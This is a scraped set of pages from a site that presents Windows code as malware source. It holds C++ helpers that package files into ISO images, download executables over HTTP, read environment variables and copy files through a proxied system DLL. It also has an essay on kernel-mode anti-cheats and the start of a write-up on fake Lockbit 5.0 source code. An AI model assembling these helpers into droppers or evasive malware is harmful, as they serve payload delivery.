(!SUCCEEDED(DelNodeW(ccBuffer, 0))) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: if (hMod) FreeLibrary(hMod); return bFlag; } [PreviousCreateFileFromDsCopyFromSharedFile](https://malwaresourcecode.com/home/proxied-functions/createfilefromdscopyfromsharedfile) [NextIeCreateDirectory](https://malwaresourcecode.com/home/proxied-functions/iecreatedirectory) Last updated 10 months ago --- # CoCreateIsoForMounting | malware source code Creates an ISO file and inserts a file into it. Example: Copy HRESULT Result = S_OK; Result = CoCreateIsoForMounting((PWCHAR)L"MyFile.txt", //test.txt name inside of iso (PWCHAR)L"C:\\Users\\User\\Desktop\\test.txt", (PWCHAR)L"C:\\Users\\User\\Desktop\\MyIso.iso", (PWCHAR)L"NewVolume"); Copy #include #include #pragma comment(lib, "shlwapi.lib") HRESULT CoCreateIsoForMounting(_In_ PWCHAR FileDisplayName, _In_ PWCHAR FullPathToFile ,_In_ PWCHAR FullIsoPath, _In_ PWCHAR VolumeName) { HRESULT Result = S_OK; IFileSystemImage* Fsi = NULL; IFsiDirectoryItem* Root = NULL; IFileSystemImageResult* ImageResult = NULL; IStream* Stream = NULL; IStream* ImageStream = NULL; BSTR bpFileDisplayName = NULL; BSTR bpFullIsoPath = NULL; BSTR bpVolumeName = NULL; HANDLE hHandle = INVALID_HANDLE_VALUE; ULARGE_INTEGER LargeInteger = { 0 }; DWORD BytesWritten = 0; BYTE Buffer[4096] = { 0 }; ULONG BytesRead = 0; STATSTG Stat = { 0 }; Result = CoInitialize(NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = CoCreateInstance(__uuidof(MsftFileSystemImage), NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&Fsi)); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Fsi->put_FileSystemsToCreate(FsiFileSystemISO9660); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; bpVolumeName = SysAllocString(VolumeName); if (bpVolumeName == NULL) goto EXIT_ROUTINE; Result = Fsi->put_VolumeName(bpVolumeName); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Fsi->get_Root(&Root); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; bpFileDisplayName = SysAllocString(FileDisplayName); if(bpFileDisplayName == NULL) goto EXIT_ROUTINE; Result = SHCreateStreamOnFileEx(FullPathToFile, STGM_READ | STGM_SHARE_DENY_WRITE, FILE_ATTRIBUTE_NORMAL, FALSE, NULL, &Stream); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Root->AddFile(bpFileDisplayName, Stream); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Fsi->CreateResultImage(&ImageResult); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = ImageResult->get_ImageStream(&ImageStream); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; hHandle = CreateFileW(FullIsoPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hHandle == INVALID_HANDLE_VALUE) goto EXIT_ROUTINE; Result = ImageStream->Stat(&Stat, STATFLAG_NONAME); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = ImageStream->Seek({ 0 }, STREAM_SEEK_END, &LargeInteger); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = ImageStream->Seek({ 0 }, STREAM_SEEK_SET, NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; while (ImageStream->Read(Buffer, sizeof(Buffer), &BytesRead) == S_OK && BytesRead > 0) { if (!WriteFile(hHandle, Buffer, BytesRead, &BytesWritten, NULL)) goto EXIT_ROUTINE; } EXIT_ROUTINE: if (bpVolumeName) SysFreeString(bpVolumeName); if (bpFileDisplayName) SysFreeString(bpFileDisplayName); if (hHandle) CloseHandle(hHandle); if (Stream) Stream->Release(); if (ImageStream) ImageStream->Release(); if (ImageResult) ImageResult->Release(); if (Root) Root->Release(); if (Fsi) Fsi->Release(); CoUninitialize(); return Result; } [PreviousCoGetEnvironmentVariableW](https://malwaresourcecode.com/home/component-object-model/cogetenvironmentvariablew) [NextCoXMLHTTPDownloadByteFileW](https://malwaresourcecode.com/home/component-object-model/coxmlhttpdownloadbytefilew) Last updated 10 months ago --- # CoEnumUPnPDevices | malware source code Copy #include HRESULT CoEnumUPnPDevices(VOID) { HRESULT Result; IUPnPDeviceFinder* Finder = NULL; IUPnPDevices* Devices = NULL; BSTR UPnPType = NULL; IUnknown* Enum = NULL; IEnumVARIANT* EnumVariant = NULL; VARIANT UPnPObject; VariantInit(&UPnPObject); Result = CoInitialize(NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = CoCreateInstance(CLSID_UPnPDeviceFinder, NULL, CLSCTX_INPROC_SERVER, IID_IUPnPDeviceFinder, (PVOID*)&Finder); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; UPnPType = SysAllocString(L"ssdp:all"); if (UPnPType == NULL) goto EXIT_ROUTINE; Result = Finder->FindByType(UPnPType, 0, &Devices); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Devices->get__NewEnum(&Enum); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Enum->QueryInterface(IID_IEnumVARIANT, (PVOID*)&EnumVariant); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; while (EnumVariant->Next(1, &UPnPObject, NULL) == S_OK) { IUPnPDevice* DeviceObject = (IUPnPDevice*)UPnPObject.pdispVal; /* Stuff to do goes here.... https://learn.microsoft.com/en-us/windows/win32/api/upnp/nn-upnp-iupnpdevice callback routine, or something, whatever */ //EXAMPLE BSTR FriendlyName = 0; DeviceObject->get_FriendlyName(&FriendlyName); //FriendlyName is BSTR, which is OLECHAR* which is just WCHAR lol //EXAMPLE END if (DeviceObject) DeviceObject->Release(); if (UPnPObject.vt != VT_EMPTY) VariantClear(&UPnPObject); } EXIT_ROUTINE: if (UPnPObject.vt != VT_EMPTY) VariantClear(&UPnPObject); if (UPnPType != NULL) SysFreeString(UPnPType); if (EnumVariant) EnumVariant->Release(); if (Devices) Devices->Release(); if (Finder) Finder->Release(); CoUninitialize(); return Result; } [PreviousCoXMLHTTPDownloadByteFileW](https://malwaresourcecode.com/home/component-object-model/coxmlhttpdownloadbytefilew) [NextProof-of-Concepts](https://malwaresourcecode.com/home/my-projects/proof-of-concepts) Last updated 10 months ago --- # CoGetEnvironmentVariableW | malware source code Copy HRESULT CoGetEnvironmentVariableW(_In_ PWCHAR Name, _Inout_ PWCHAR Path) { HRESULT Result = S_OK; CLSID WscriptObject = { 0 }; IDispatch* Shell = NULL; IDispatch* Environment = NULL; OLECHAR* Method = (PWCHAR)L"Environment"; DISPID DispidEnvironment; DISPID DispidItem; OLECHAR* Item = (PWCHAR)L"Item"; VARIANT VariableName; VariantInit(&VariableName); VariableName.vt = VT_BSTR; VariableName.bstrVal = SysAllocString(Name); VARIANT VariableResult; VariantInit(&VariableResult); DISPPARAMS VariableParameters{ &VariableName, NULL, 1, 0 }; VARIANT VarSystem; VariantInit(&VarSystem); VarSystem.vt = VT_BSTR; VarSystem.bstrVal = SysAllocString(L"Process"); VARIANT VarResult; VariantInit(&VarResult); DISPPARAMS Parameters{ &VarSystem, NULL, 1, 0 }; Result = CLSIDFromProgID(L"WScript.Shell", &WscriptObject); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = CoCreateInstance(WscriptObject, NULL, CLSCTX_INPROC_SERVER, IID_IDispatch, (PVOID*)&Shell); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Shell->GetIDsOfNames(IID_NULL, &Method, 1, LOCALE_USER_DEFAULT, &DispidEnvironment); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Shell->Invoke(DispidEnvironment, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_PROPERTYGET, &Parameters, &VarResult, NULL, NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; if (VarResult.vt == VT_DISPATCH && VarResult.pdispVal != NULL) { Environment = VarResult.pdispVal; Environment->AddRef(); } else goto EXIT_ROUTINE; Result = Environment->GetIDsOfNames(IID_NULL, &Item, 1, LOCALE_USER_DEFAULT, &DispidItem); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Environment->Invoke(DispidItem, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_PROPERTYGET, &VariableParameters, &VariableResult, NULL, NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; if (StringCopyW(Path, VariableResult.bstrVal) == NULL) goto EXIT_ROUTINE; EXIT_ROUTINE: if (VarSystem.vt != VT_EMPTY) VariantClear(&VarSystem); if (VariableName.vt != VT_EMPTY) VariantClear(&VariableName); if (VariableResult.vt != VT_EMPTY) VariantClear(&VariableResult); if (VarResult.vt != VT_EMPTY) VariantClear(&VarResult); if (Environment) Environment->Release(); if (Shell) Shell->Release(); return Result; } [PreviousIsComInitialized](https://malwaresourcecode.com/home/component-object-model/iscominitialized) [NextCoCreateIsoForMounting](https://malwaresourcecode.com/home/component-object-model/cocreateisoformounting) Last updated 10 months ago --- # CoXMLHTTPDownloadByteFileW | malware source code Downloads BYTE files (.zip, .exe, etc) Example: Copy HRESULT Result = S_OK; Result = CoXMLHTTPDownloadByteFileW((PWCHAR)L"https://mini-01-s3.vx-underground.org/samples/tmp/TestDownloadCatPicture.zip", (PWCHAR)L"C:\\Users\\User\\Desktop\\DownloadedCatPicture.zip", NULL); Copy #include #pragma comment(lib, "msxml6.lib") HRESULT CoXMLHTTPDownloadByteFileW(_In_ PWCHAR Url, _In_ PWCHAR FullPathToSaveFile, _In_opt_ PWCHAR UserAgent) { HRESULT Result = S_OK; IServerXMLHTTPRequest* Http = NULL; BSTR Method = NULL; BSTR bUrl = NULL; LONG HttpStatus = 0; SAFEARRAY* SafeArray = NULL; PVOID Data = NULL; LONG LowerBound = 0; LONG UpperBound = 0; ULONG ArrayBoundTotal = 0; HANDLE hHandle = INVALID_HANDLE_VALUE; DWORD BytesWritten = 0; OVERLAPPED Overlap = { 0 }; VARIANT VarIsAsync; VariantInit(&VarIsAsync); VarIsAsync.vt = VT_BOOL; VarIsAsync.boolVal = VARIANT_FALSE; VARIANT VarUser; VariantInit(&VarUser); VarUser.vt = VT_EMPTY; VARIANT VarPassword; VariantInit(&VarPassword); VarPassword.vt = VT_EMPTY; VARIANT Empty; VariantInit(&Empty); Empty.vt = VT_EMPTY; VARIANT Response; VariantInit(&Response); Result = CoInitialize(NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = CoCreateInstance(__uuidof(ServerXMLHTTP60), NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&Http)); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Method = SysAllocString(L"GET"); if (Method == NULL) goto EXIT_ROUTINE; bUrl = SysAllocString(Url); if (bUrl == NULL) goto EXIT_ROUTINE; Result = Http->open(Method, bUrl, VarIsAsync, VarUser, VarPassword); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Http->setRequestHeader(SysAllocString(L"User-Agent"), (UserAgent != NULL ? SysAllocString(UserAgent) : SysAllocString(L"Mozilla/5.0"))); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Http->send(Empty); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Http->get_status(&HttpStatus); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; if (HttpStatus != 200) goto EXIT_ROUTINE; Result = Http->get_responseBody(&Response); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; if (Response.vt != (VT_ARRAY | VT_UI1)) goto EXIT_ROUTINE; SafeArray = Response.parray; Result = SafeArrayAccessData(SafeArray, &Data); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; hHandle = CreateFileW(FullPathToSaveFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hHandle == INVALID_HANDLE_VALUE) goto EXIT_ROUTINE; Result = SafeArrayGetLBound(SafeArray, 1, &LowerBound); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = SafeArrayGetUBound(SafeArray, 1, &UpperBound); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; ArrayBoundTotal = (UpperBound - LowerBound + 1); if (!WriteFile(hHandle, Data, ArrayBoundTotal, &BytesWritten, &Overlap)) { if (GetLastError() != ERROR_IO_PENDING) goto EXIT_ROUTINE; if (!GetOverlappedResult(hHandle, &Overlap, &BytesWritten, TRUE)) goto EXIT_ROUTINE; } EXIT_ROUTINE: if (hHandle) CloseHandle(hHandle); VariantClear(&VarIsAsync); VariantClear(&VarUser); VariantClear(&VarPassword); VariantClear(&Empty); VariantClear(&Response); if (SafeArray != NULL) { SafeArrayUnaccessData(SafeArray); SafeArrayDestroy(SafeArray); } if (bUrl) SysFreeString(bUrl); if (Method) SysFreeString(Method); if (Http) Http->Release(); CoUninitialize(); return Result; } [PreviousCoCreateIsoForMounting](https://malwaresourcecode.com/home/component-object-model/cocreateisoformounting) [NextCoEnumUPnPDevices](https://malwaresourcecode.com/home/component-object-model/coenumupnpdevices) Last updated 10 months ago --- # CreateFileFromDsCopyFromSharedFile | malware source code Copy typedef HRESULT(WINAPI* DSCREATESHAREDFILETOKEN)(LPCWSTR, PDATA_SHARE_CTRL, INT, INT, WCHAR**); typedef HRESULT(WINAPI* DSCOPYFROMSHAREDFILE)(LPCWSTR, LPCWSTR); BOOL CreateFileFromDsCopyFromSharedFileW(_In_ PWCHAR NewFileName, _In_ PWCHAR FileToClone) { DATA_SHARE_CTRL Share = { 0 }; LPWSTR SidString = NULL; DSCREATESHAREDFILETOKEN DsCreateSharedFileToken = NULL; DSCOPYFROMSHAREDFILE DsCopyFromSharedFile = NULL; DWORD dwError = ERROR_SUCCESS; BOOL bFlag = FALSE; PWCHAR TokenData = NULL; HMODULE hDsClient = NULL; hDsClient = LoadLibraryW(L"DSCLIENT.DLL"); if (hDsClient == NULL) return FALSE; DsCreateSharedFileToken = (DSCREATESHAREDFILETOKEN)GetProcAddress(hDsClient, "DSCreateSharedFileToken"); DsCopyFromSharedFile = (DSCOPYFROMSHAREDFILE)GetProcAddress(hDsClient, "DSCopyFromSharedFile"); if (!DsCreateSharedFileToken || !DsCopyFromSharedFile) goto EXIT_ROUTINE; #pragma warning( push ) #pragma warning( disable : 6387) if ((SidString = GetCurrentUserSidW()) == NULL) goto EXIT_ROUTINE; #pragma warning( pop ) Share.SharePermission = 2; Share.ShareMode = 3; Share.Scope.ScopeCount = 1; Share.Scope.Entries[0].ScopeType = 0; Share.Scope.Entries[0].ScopeValue = SidString; DsCreateSharedFileToken(FileToClone, &Share, 0, 0, &TokenData); if (TokenData == NULL) goto EXIT_ROUTINE; if (DsCopyFromSharedFile(TokenData, NewFileName) != ERROR_SUCCESS) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: if (!bFlag) dwError = GetLastError(); if (SidString) HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, SidString); DsCreateSharedFileToken = NULL; DsCopyFromSharedFile = NULL; if (hDsClient) FreeLibrary(hDsClient); return bFlag; } BOOL CreateFileFromDsCopyFromSharedFileA(_In_ PCHAR NewFileName, _In_ PCHAR FileToClone) { DATA_SHARE_CTRL Share = { 0 }; LPWSTR SidString = NULL; DSCREATESHAREDFILETOKEN DsCreateSharedFileToken = NULL; DSCOPYFROMSHAREDFILE DsCopyFromSharedFile = NULL; DWORD dwError = ERROR_SUCCESS; BOOL bFlag = FALSE; PWCHAR TokenData = NULL; HMODULE hDsClient = NULL; WCHAR FileToCloneWchar[MAX_PATH * sizeof(WCHAR)] = { 0 }; WCHAR NewFileNameWchar[MAX_PATH * sizeof(WCHAR)] = { 0 }; if (CharStringToWCharString((PWCHAR)FileToCloneWchar, FileToClone, (MAX_PATH * sizeof(WCHAR))) == 0) goto EXIT_ROUTINE; if (CharStringToWCharString((PWCHAR)NewFileNameWchar, NewFileName, (MAX_PATH * sizeof(WCHAR))) == 0) goto EXIT_ROUTINE; hDsClient = LoadLibraryW(L"DSCLIENT.DLL"); if (hDsClient == NULL) return FALSE; DsCreateSharedFileToken = (DSCREATESHAREDFILETOKEN)GetProcAddress(hDsClient, "DSCreateSharedFileToken"); DsCopyFromSharedFile = (DSCOPYFROMSHAREDFILE)GetProcAddress(hDsClient, "DSCopyFromSharedFile"); if (!DsCreateSharedFileToken || !DsCopyFromSharedFile) goto EXIT_ROUTINE; #pragma warning( push ) #pragma warning( disable : 6387) if ((SidString = GetCurrentUserSidW()) == NULL) goto EXIT_ROUTINE; #pragma warning( pop ) Share.SharePermission = 2; Share.ShareMode = 3; Share.Scope.ScopeCount = 1; Share.Scope.Entries[0].ScopeType = 0; Share.Scope.Entries[0].ScopeValue = SidString; DsCreateSharedFileToken((PWCHAR)FileToCloneWchar, &Share, 0, 0, &TokenData); if (TokenData == NULL) goto EXIT_ROUTINE; if (DsCopyFromSharedFile(TokenData, (PWCHAR)NewFileNameWchar) != ERROR_SUCCESS) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: if (!bFlag) dwError = GetLastError(); if (SidString) HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, SidString); DsCreateSharedFileToken = NULL; DsCopyFromSharedFile = NULL; if (hDsClient) FreeLibrary(hDsClient); return bFlag; } [PreviousCopyFileViaSetupCopyFile](https://malwaresourcecode.com/home/proxied-functions/copyfileviasetupcopyfile) [NextDeleteDirectoryAndSubData](https://malwaresourcecode.com/home/proxied-functions/deletedirectoryandsubdata) Last updated 10 months ago --- # Why do video games use kernel-mode anti-cheats? | malware source code I've seen this argument pop up so many times it's astonishing. I believe there is an irrational fear of kernel-mode components because people do not possess a sufficient education level in information security, information technology, or computer science. After I've made so many posts memeing people who express concern over kernel-mode components I've decided I'll actually write something about it. If you're a person who distrusts kernel mode anti-cheat software I suggest you read this. If you're a person who does not understand how they work but you're curious how they work (and why) I also suggest reading this. Before we go down this rabbit hole, which I will try to make as succinct as possible, I want to assert that each anti-cheat kernel-mode component operates differently. By this I mean the techniques I describe below will operate fundamentally similarly across other anti-cheat vendors, but each may introduce additional layers of complexity, remove layers of complexity, or implement their own proprietary research to combat cheaters. In essence, what I am describing is the generic blueprint in how they operate but each may be tailored different for their industry, their game, ... whatever. I also expect anti-cheat, or cheat researchers to critique this paper due to not emphasizing certain techniques they may believe are more important to illustrate than others or debating whether or not something is truly behavioral analysis based rather an entirely new category in itself (you'll see that later). Meh. I'll also be providing links to web articles or Wikipedia pages for the curious who want to go deeper and feel psychological pain. ### [](https://malwaresourcecode.com/home/my-projects/write-ups/why-do-video-games-use-kernel-mode-anti-cheats#user-mode-vs-kernel-mode) User mode vs Kernel mode On the Windows operating system (and every other operating system, but for this article we're going to focus exclusively on Windows), the operating system is divided into 2 "modes". These two modes are user mode and kernel mode. User mode is the part of the computer operating system you can physically see and interact with (although, if you're curious, this also expands into what is known as "[The Windows Shell](https://en.wikipedia.org/wiki/Windows_shell) ") as well as programmatically interact with it through an [API](https://en.wikipedia.org/wiki/Windows_API) . In other words, user mode is the place where you do shit. Kernel mode is the part of the computer you cannot interact with (or rather, at least [not easily](https://en.wikipedia.org/wiki/WinDbg) ), and is responsible for managing the user mode part of the computer. Kernel mode acts almost like a manager, it allows the "user mode" to safely interact with the computer hardware (keyboard, mouse) as well as lower-level hardware such as the hard drive, memory, and processor itself. It is also responsible for creating the user mode "space". Every action taken in user mode must be approved of and performed through kernel space. An action as simple as moving the mouse or pressing a key on your keyboard must pass through kernel mode. These two modes exist for a very important reason which requires some historical context. Back in the day, which means MS-DOS-era, the operating system sort of jammed everything into memory together. There was no segregation between "user mode" and "kernel mode". Back in the day users could do an oopsie doopsie and corrupt the software which allowed the computer to communicate with the hardware. This inevitably resulted in Microsoft introducing boundaries and segregating "user" space and "kernel" space whereas some software could access computer hardware and some software could not access hardware. In order for software to access hardware it would instead need to be performed by a middle-man known as a [Device Driver](https://en.wikipedia.org/wiki/Device_driver) or simple known as a "driver" Hence, whenever you're installing or updating "drivers" on your computer you're installing or updating the software which operates in kernel space which allows your user mode software the ability to access hardware and actually do things. ### [](https://malwaresourcecode.com/home/my-projects/write-ups/why-do-video-games-use-kernel-mode-anti-cheats#what-can-enter-kernel-space) What can enter kernel space? Fast forwarding 30 years or more to the modern era, as in ... this very moment I'm writing this and you're reading this, kernel mode has evolved dramatically and has introduced hard boundaries segregating user mode and kernel mode. It's also introduced additional layers of protection to prevent bad actors from entering kernel mode when they shouldn't have access. These additional layers are [Driver Signature Enforcement](https://en.wikipedia.org/wiki/Security_and_safety_features_new_to_Windows_Vista) , Kernel-mode Code Integrity and/or Kernel Patch Protection ([Patchguard](https://en.wikipedia.org/wiki/Kernel_Patch_Protection) ), and [Microsoft Vulnerable Driver Block list](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) Basically, Microsoft won't let any program enter kernel mode. Any software that wants to enter kernel mode needs to be reviewed and approved of by Microsoft. When it is approved it is issued an official "certificate". Additionally, Microsoft has introduced enhanced techniques to prevent drivers (kernel mode software) from altering or modifying other kernel mode software. Finally, Microsoft has an on-going "block list". This "block list" is basically drivers they have approved historically, but now they're deemed unsafe hence they're not longer allowed to enter kernel space. You can view the certificate and certificate "owner" by right clicking on a driver (.sys file), clicking "Properties", clicking "Digital Signature", and then clicking "Details". The attached image is from a random driver on my computer. ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252FXX5mgrCIj9Bk2xrP4oZG%252Faa.png%3Falt%3Dmedia%26token%3Dfdf4f9b4-9601-4c7d-935f-76080fab532c&width=768&dpr=4&quality=100&sign=2fa96165&sv=2) Inevitably you're probably thinking, "is there a way to enter kernel space without a signature?". Yes, that is a technique frequently used by malicious software (malware) and video game cheat makers. But discussing offensive techniques for anti-cheat evasion go beyond the scope of this paper. ### [](https://malwaresourcecode.com/home/my-projects/write-ups/why-do-video-games-use-kernel-mode-anti-cheats#why-are-anti-cheats-in-kernel-mode) Why are anti-cheats in kernel mode? There are certain things kernel mode components can do that user mode components cannot do. For example, user mode components cannot be notified of the "creation" of another process. A common technique employed by kernel-mode anti-cheat software is the usage of [PsSetCreateProcessNotifyRoutine](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine) (or it's variants [Ex](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex) and [Ex2](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex2) ). In the simplest of terms, it is possible for a kernel mode component to begin receiving notifications when a process is set to be created. This is extremely valuable to anti-cheat software because they can use this to prevent users from running video game cheating software. This method of receiving notifications when a process is being created is nothing new. This is the exact same technique employed by anti-malware and [End Point Detection Response software](https://www.microsoft.com/en-us/security/business/security-101/what-is-edr-endpoint-detection-response) . The way anti-cheat software examines and determines if a program is being used to cheat is "proprietary" in nature. By this I mean there is no "golden standard", rather anti-cheat vendors will search for solutions and implement them in ways they believe are best. However, from a high-level overview, they all follow a similar formula. Once a kernel-mode anti-cheat software is running it will begin receiving notifications when a user runs a program. The kernel-mode anti-cheat will then examine the program you're trying to run. The manner in which it examines the software is essentially "the secret sauce" for each anti-cheat vendor (and anti-malware software!), but it boils down to "static analysis engines", and "behavioral analysis engines". The static analysis portion of the anti-cheat software will programmatically inspect the program and look for sequences of bytes, or byte patterns, which are often found in video game cheating software. In other words, from an extremely high-level overview, it is equivalent to you (the person reading this) pressing CTRL+F and looking for keywords in a web article. Likewise, anti-cheat software will search for known patterns in the program attempting to be ran by the user. If the anti-cheat software identifies a known-bad byte sequence (like you found the keyword you looked for on a website), the person attempting to run the program will immediately be flagged as cheating. The behavioral analysis portion is far more complex and yet another "secret sauce" scenario. In essence, the anti-cheat software will "examine" operations occurring on the machine to determine if the user is cheating. This is not just one singular technique, rather a bunch of different techniques which may, or may not, be introduced into the anti-cheat software which fall under the "behavioral analysis" category. In my opinion, reviewing every single potential behavioral analysis technique would be profoundly time consuming and would inflate this web article to about x15 it's size. However, for those who are curious want to go down this rabbit hole, here are some things I recommend researching: * [Code integrity verification](https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/code-integrity-checking) * [ETW (Event Tracing for Windows)](https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/event-tracing-for-windows--etw-) * [API Hooking](https://en.wikipedia.org/wiki/Hooking) * [Binary "hardening" and anti-debug techniques](https://anti-debug.checkpoint.com/) * [Minifilters](https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/filter-manager-concepts) (bonus for [Minifilter altitudes](https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes) ) * Network telemetry I am probably missing some other behavioral analysis techniques (or adjacent categories) as well. Anti-cheat techniques are broad and robust. Each anti-cheat is different. An anti-cheat for Battlefield will be remarkably different for an anti-cheat for Roblox because the underlying technologies which drive those games are different. ### [](https://malwaresourcecode.com/home/my-projects/write-ups/why-do-video-games-use-kernel-mode-anti-cheats#addressing-concerns-about-anti-cheat-invasiveness) Addressing concerns about anti-cheat invasiveness Many people who are unfamiliar with security software almost immediately believe kernel mode access is required for bad actors can exfiltrate sensitive data off of your computer, modify other kernel-mode components, or do other nefarious acts. However, this is not true. While it is possible for a signed kernel-mode component to be malicious, is it exceptionally rare. It is easier for bad actors to write malware which operates in user-mode and do the malicious actions from there. 99.9% of malware discovered targeting users, large companies, and governments, is user-mode malware. The golden age of rootkits is dead due to the implementation of Patchguard (and Driver Signature Enforcement) which makes it extremely difficult for other kernel-mode components to modify other kernel-mode components. Of course, for the sake of argument, there is almost always a way "around" a security feature. However, Microsoft seems to take these actions quite seriously and is quick to patch any potential Patchguard bypass technique. Threat Actors, specifically people who aim to steal your sensitive data, will rely on [file masquerading](https://www.picussecurity.com/resource/masquerading) and various other techniques to coerce a user to detonate malicious software on their machine. A user-mode binary (.exe, .dll, .vbs, .js, .py, etc.) needs very little privileges to access sensitive data on your machine. In fact, in some scenarios, you don't even need a binary and a Threat Actor can simply [live off the land](https://lolbas-project.github.io/#) by abusing existing programs on your computer. This entire conversation however is something I've sort of discussed before under ["Can "adult" websites actually "infect" your computer?](https://x.com/vxunderground/status/1950502904718098704) ### [](https://malwaresourcecode.com/home/my-projects/write-ups/why-do-video-games-use-kernel-mode-anti-cheats#i-still-dont-like-it.-i-still-dont-trust-it.-i-dont-like-them) "I still don't like it. I still don't trust it. I don't like them." If you've read this far and you still have concerns, such as LowLevelTweets who believes kernel-mode components should reserved for ... things other than video games ..., then that essentially boils down to opinion and perspectives on security models. This article was written and designed to combat misinformation regarding the safety of kernel-mode components (e.g. oH mY gOd tHeyRe RooTkitZ) and the misconception these can effectively be used for espionage ... against gamers. In summary, kernel-mode components must be approved by Microsoft, are unable to modify other kernel-mode components, is way over-kill for "spying" on people, and kernel-mode malware is [almost non-existent](https://cymulate.com/blog/defending-against-bring-your-own-vulnerable-driver-byovd-attacks/) due to security improvements Microsoft has made separating the user-mode and kernel-mode boundary. If any more questions pop-up in the future I may expand on this article. \-smelly [PreviousA Quick Guide to Defining Malware with $0, Python3, and Windows](https://malwaresourcecode.com/home/my-projects/write-ups/a-quick-guide-to-defining-malware-with-usd0-python3-and-windows) [NextFake Lockbit 5.0 silliness and 3 layers of ransomware lasagna](https://malwaresourcecode.com/home/my-projects/write-ups/fake-lockbit-5.0-silliness-and-3-layers-of-ransomware-lasagna) Last updated 4 months ago * [User mode vs Kernel mode](https://malwaresourcecode.com/home/my-projects/write-ups/why-do-video-games-use-kernel-mode-anti-cheats#user-mode-vs-kernel-mode) * [What can enter kernel space?](https://malwaresourcecode.com/home/my-projects/write-ups/why-do-video-games-use-kernel-mode-anti-cheats#what-can-enter-kernel-space) * [Why are anti-cheats in kernel mode?](https://malwaresourcecode.com/home/my-projects/write-ups/why-do-video-games-use-kernel-mode-anti-cheats#why-are-anti-cheats-in-kernel-mode) * [Addressing concerns about anti-cheat invasiveness](https://malwaresourcecode.com/home/my-projects/write-ups/why-do-video-games-use-kernel-mode-anti-cheats#addressing-concerns-about-anti-cheat-invasiveness) * ["I still don't like it. I still don't trust it. I don't like them."](https://malwaresourcecode.com/home/my-projects/write-ups/why-do-video-games-use-kernel-mode-anti-cheats#i-still-dont-like-it.-i-still-dont-trust-it.-i-dont-like-them) --- # Fake Lockbit 5.0 silliness and 3 layers of ransomware lasagna | malware source code Previously an unknown person contacted me claiming they had the source code to Lockbit 5.0. Based on the nature of conversation, and details revealed to me, I suspected they were not lying. After I briefly reviewed the code, I believed it was indeed the source code to Lockbit 5.0 (Linux, ESXI). I wrote that I wanted to share the source code with security researchers (primarily defenders) so people could make detection rules for it. Following this, I would release the source code on GitHub. After I shared the code with some colleagues from HuntressLabs, FlashPoint, Halcyon, and some other places (can't remember where they work), some really funny things were discovered. Fabian Wosar quickly noted it was a variant of Babuk ransomware (leaked a long time ago). Likewise, nerds from HuntressLabs and FlashPoint noted this code didn't contain the obfuscation which was present in current Lockbit 5.0 binaries. However, this variant of Babuk (fake Lockbit 5.0) was improved upon. As these conversations took place I was contacted by a ransomware operator who coincidentally told me intimate details about the "Lockbit 5.0" source code I had not shared publicly (such as requiring a batch file for building the code base). 